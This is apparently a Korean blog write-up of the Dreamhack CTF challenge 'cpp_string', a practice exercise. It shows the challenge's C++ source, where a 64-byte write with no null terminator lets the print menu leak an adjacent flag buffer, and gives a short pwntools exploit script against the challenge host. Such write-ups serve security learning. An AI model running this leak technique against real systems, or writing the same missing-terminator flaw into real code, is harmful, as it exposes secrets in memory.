728x90


모든 보호기법이 적용되어있다
문제코드
//g++ -o cpp_string cpp_string.cpp
#include <iostream>
#include <fstream>
#include <csignal>
#include <unistd.h>
#include <stdlib.h>
char readbuffer[64] = {0, };
char flag[64] = {0, };
std::string writebuffer;
void alarm_handler(int trash)
{
std::cout << "TIME OUT" << std::endl;
exit(-1);
}
void initialize()
{
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int read_file(){
std::ifstream is ("test", std::ifstream::binary);
if(is.is_open()){
is.read(readbuffer, sizeof(readbuffer));
is.close();
std::cout << "Read complete!" << std::endl;
return 0;
}
else{
std::cout << "No testfile...exiting.." << std::endl;
exit(0);
}
}
int write_file(){
std::ofstream of ("test", std::ifstream::binary);
if(of.is_open()){
std::cout << "Enter file contents : ";
std::cin >> writebuffer;
of.write(writebuffer.c_str(), sizeof(readbuffer));
of.close();
std::cout << "Write complete!" << std::endl;
return 0;
}
else{
std::cout << "Open error!" << std::endl;
exit(0);
}
}
int read_flag(){
std::ifstream is ("flag", std::ifstream::binary);
if(is.is_open()){
is.read(flag, sizeof(readbuffer));
is.close();
return 0;
}
else{
std::cout << "You must need flagfile.." << std::endl;
exit(0);
}
}
int show_contents(){
std::cout << "contents : ";
std::cout << readbuffer << std::endl;
return 0;
}
int main(void) {
initialize();
int selector = 0;
while(1){
std::cout << "Simple file system" << std::endl;
std::cout << "1. read file" << std::endl;
std::cout << "2. write file" << std::endl;
std::cout << "3. show contents" << std::endl;
std::cout << "4. quit" << std::endl;
std::cout << "[*] input : ";
std::cin >> selector;
switch(selector){
case 1:
read_flag();
read_file();
break;
case 2:
write_file();
break;
case 3:
show_contents();
break;
case 4:
std::cout << "BYEBYE" << std::endl;
exit(0);
}
}
}
문제코드가 처음보는 cpp코드로 되어있어 매우 어지럽다
문제 구조는 매우 간단하다
case1 : flag를 flag 변수에 저장, test파일 열어서 readbuffer 변수에 저장
case2 : test파일을 열어 사용자입력값을 넣는다
case3 : readbuffer의 값을 출력한다
사용자 입력을 받는 case 2 시 입력버퍼가 64이기 때문에
readbuffer 메모리 주소 뒤에 flag 변수가 존재한다면
readbuffer의 값을 최대로 채워 null값을 없애준다면
case 3시에 readbuffer를 출력하면 flag까지 얻어올 수 있겠다
디버깅

디버깅으로 전역변수의 위치값을 비교해보려 했는데
cpp 코드의 어셈블리 언어라 알아볼 수가 없다 ;;
그래서 그냥 변수를 print 해보는 방법을 사용했다

main에 bp를 걸고 변수를 찍어봤더니 readbuffer 변수 뒤에 flag 변수가 존재했고
거리는 64바이트이다
readbuffer는 64바이트 값을 가지고 있기 때문에 이 변수 두개는 붙어있다
payload
from pwn import *
p = remote('host3.dreamhack.games', 19746)
payload = 'A' * 64
p.recvuntil('[*] input : ')
p.sendline("2")
p.recvuntil('contents : ')
p.sendline("a"*64)
p.recvuntil('[*] input : ')
p.sendline('1')
p.recvuntil('[*] input : ')
p.sendline('3')
print(p.recvuntil('Simple file system'))
p.interactive()
payload 자체는 매우 단순하다
file에 64만큼의 값을 채워주고
file을 읽은 뒤
출력하여 flag값까지 얻어냈다
풀이 실패 과정
1. cpp 코드라 잘못 이해하여 file을 경유하지 않고
변수로 진행되는 구간으로 잘못 판단했다
2. std::endl 은 \n 즉 줄바꿈을 포함한다
이를 모르고 recv 로 값을 받을 때 헷갈렸다
'시스템해킹' 카테고리의 다른 글
| [드림핵] angry_darim 풀이 (0) | 2024.11.08 |
|---|---|
| [드림핵] mmapped 풀이 (0) | 2024.11.03 |
| [드림핵] Cherry 풀이 (1) | 2024.09.12 |
| [드림핵] awesome-basics 풀이 (0) | 2024.09.12 |
| [드림핵] pwn-library 풀이 (0) | 2024.09.12 |